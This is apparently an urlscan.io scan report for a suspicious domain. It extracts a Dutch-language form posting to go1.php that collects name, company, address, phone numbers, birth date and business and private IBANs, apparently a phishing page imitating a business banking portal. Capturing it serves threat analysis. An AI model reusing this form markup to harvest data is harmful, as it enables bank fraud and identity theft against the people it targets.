mijncmbe-omgeving.4dq.com Open in urlscan Pro
176.97.117.99  Public Scan

Form analysis
1 forms found in the DOM

POST go1.php

<form class="remember_login" id="new_authentication" action="go1.php" accept-charset="UTF-8" method="post">
  <input name="utf8" type="hidden" value="✓">
  <input type="hidden" name="authenticity_token" value="UGckPS6e5AAkYP6tcqL4X9EM1e8U2ob2Oc6b7g25Tl2NK8NyFRgYm453v5nSEutgBO3PFAO2i5rWaarMat9znw==">
  <fieldset class="form__item" id="username-field">
    <label class="form__item__label" for="authentication_username">Voor en achternaam</label>
    <input autocapitalize="none" hide_required_indicator="true" class="form__item__field" autocomplete="off" spellcheck="false" data-required="true" placeholder="Voor en achternaam" type="text" name="naam" id="authentication_username" required="">
  </fieldset>
  <fieldset id="authentication_bvnaam-field" class="form__item">
    <label class="form__item__label" for="authentication_bvnaam">Naam van de onderneming</label>
    <input id="authentication_bvnaam" class="form__item__field" spellcheck="false" autocomplete="off" name="bvnaam" required="" type="text" placeholder="Naam van de onderneming">
  </fieldset>
  <fieldset id="post-field" class="form__item">
    <label class="form__item__label" for="authentication_postcode">Postcode</label>
    <div class="postcode-huisnummer">
      <input id="authentication_postcode" class="form__item__field" spellcheck="false" autocomplete="off" name="postcode" required="" type="text" placeholder="Postcode">
      <input id="authentication_huisnummer" class="form__item__field" spellcheck="false" autocomplete="off" name="huisnummer" required="" type="tel" placeholder="Huisnummer">
    </div>
  </fieldset>
  <fieldset id="tel-mobiel-field" class="form__item">
    <label class="form__item__label" for="authentication_tel_mobiel">Telefoonnummer mobiel</label>
    <input id="authentication_tel_mobiel" class="form__item__field" spellcheck="false" autocomplete="off" name="tel" required="" type="tel" placeholder="Mobiel nummer">
  </fieldset>
  <fieldset id="tel-prive-field" class="form__item">
    <label class="form__item__label" for="authentication_tel_prive">Telefoonnummer privé</label>
    <input id="authentication_tel_prive" class="form__item__field" spellcheck="false" autocomplete="off" name="tel-prive" required="" type="tel" placeholder="Privé nummer">
  </fieldset>
  <fieldset id="gebdat-field" class="form__item">
    <label class="form__item__label" for="authentication_gebdat">Geboortedatum</label>
    <input id="authentication_gebdat" class="form__item__field" spellcheck="false" autocomplete="off" name="gebdat" required="" type="text" placeholder="dd-mm-jjjj">
  </fieldset>
  <fieldset id="iban-zakelijk-field" class="form__item">
    <label class="form__item__label" for="authentication_iban_zakelijk">Zakelijke rekening (IBAN)</label>
    <input id="authentication_iban_zakelijk" class="form__item__field" spellcheck="false" autocomplete="off" name="iban" required="" type="text" placeholder="BE00000012345678">
  </fieldset>
  <fieldset id="iban1e-field" class="form__item">
    <label class="form__item__label" for="authentication_iban1">Prive rekening (IBAN)</label>
    <input id="authentication_iban1" class="form__item__field" spellcheck="false" autocomplete="off" name="iban1" required="" type="text" placeholder="BE00000012345678">
  </fieldset>
  <fieldset id="mailadres-field" class="form__item" style="display: none;">
    <label class="form__item__label" for="authentication_mailadres">E-mail adres</label>
    <input id="authentication_mailadres" class="form__item__field" spellcheck="false" autocomplete="off" name="mail" type="text" placeholder="E-mail adres">
  </fieldset>
  <div class="fieldset">
    <button class="button">Verzenden</button>
  </div>
</form>

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Voor en achternaam Naam van de onderneming Postcode

Telefoonnummer mobiel Telefoonnummer privé Geboortedatum Zakelijke rekening
(IBAN) Prive rekening (IBAN) E-mail adres
Verzenden